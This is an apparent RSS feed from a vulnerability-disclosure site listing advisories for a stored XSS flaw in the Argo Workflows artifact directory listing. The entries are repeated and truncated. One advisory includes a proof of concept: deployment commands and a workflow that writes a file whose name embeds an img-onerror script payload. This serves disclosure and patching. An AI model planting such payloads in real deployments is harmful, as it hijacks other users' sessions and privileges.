https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 24 Oct 2026 09:34:31 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-337473 EUVD-2026-337473 https://cve.radiocsirt.org/vuln/euvd-2026-337473 https://cve.radiocsirt.org/vuln/fkie_cve-2026-23960 <p>Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.</p> <p>Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-23960 https://cve.radiocsirt.org/vuln/ghsa-cv78-6m8q-ph82 <p><strong>Affected:</strong> Go: github.com/argoproj/argo-workflows/v3, Go: github.com/argoproj/argo-workflows</p> <p>### Summary Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.</p> <p>### Details The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory.</p> <p>https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244</p> <p>### PoC 1. Deploy Argo Workflows: ``` kubectl create ns argo kubectl apply --server-side -f manifests/base/crds/full kubectl apply --server-side -k manifests/quick-start/postgres ``` 2. Port‑forward Argo Server: ``` kubectl -n argo port-forward deploy/argo-server 2746:2746 ``` 3. Create the PoC workflow: ```yml cat &gt; /tmp/argo-xss.yaml &lt;&lt;&#39;EOF&#39; apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: xss-artifact-test- spec: entrypoint: main templates: - name: main container: image: alpine command: [sh, -c] args: - | mkdir -p /tmp/artifacts touch &#39;/tmp/artifacts/xss&#34;&gt;&lt;img src=x onerror=&#34;alert(document.domain)&#34;&gt;.html&#39; outputs: artifacts: - name: dir path: /tmp/artifacts archive: none: {} EOF ``` ``` kubectl -n argo creat…</p> <p><strong>Affected:</strong> Go: github.com/argoproj/argo-workflows/v3, Go: github.com/argoproj/argo-workflows</p> <p>### Summary Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.</p> <p>### Details The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory.</p> <p>https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244</p> <p>### PoC 1. Deploy Argo Workflows: ``` kubectl create ns argo kubectl apply --server-side -f manifests/base/crds/full kubectl apply --server-side -k manifests/quick-start/postgres ``` 2. Port‑forward Argo Server: ``` kubectl -n argo port-forward deploy/argo-server 2746:2746 ``` 3. Create the PoC workflow: ```yml cat &gt; /tmp/argo-xss.yaml &lt;&lt;&#39;EOF&#39; apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: xss-artifact-test- spec: entrypoint: main templates: - name: main container: image: alpine command: [sh, -c] args: - | mkdir -p /tmp/artifacts touch &#39;/tmp/artifacts/xss&#34;&gt;&lt;img src=x onerror=&#34;alert(document.domain)&#34;&gt;.html&#39; outputs: artifacts: - name: dir path: /tmp/artifacts archive: none: {} EOF ``` ``` kubectl -n argo creat…</p> https://cve.radiocsirt.org/vuln/ghsa-cv78-6m8q-ph82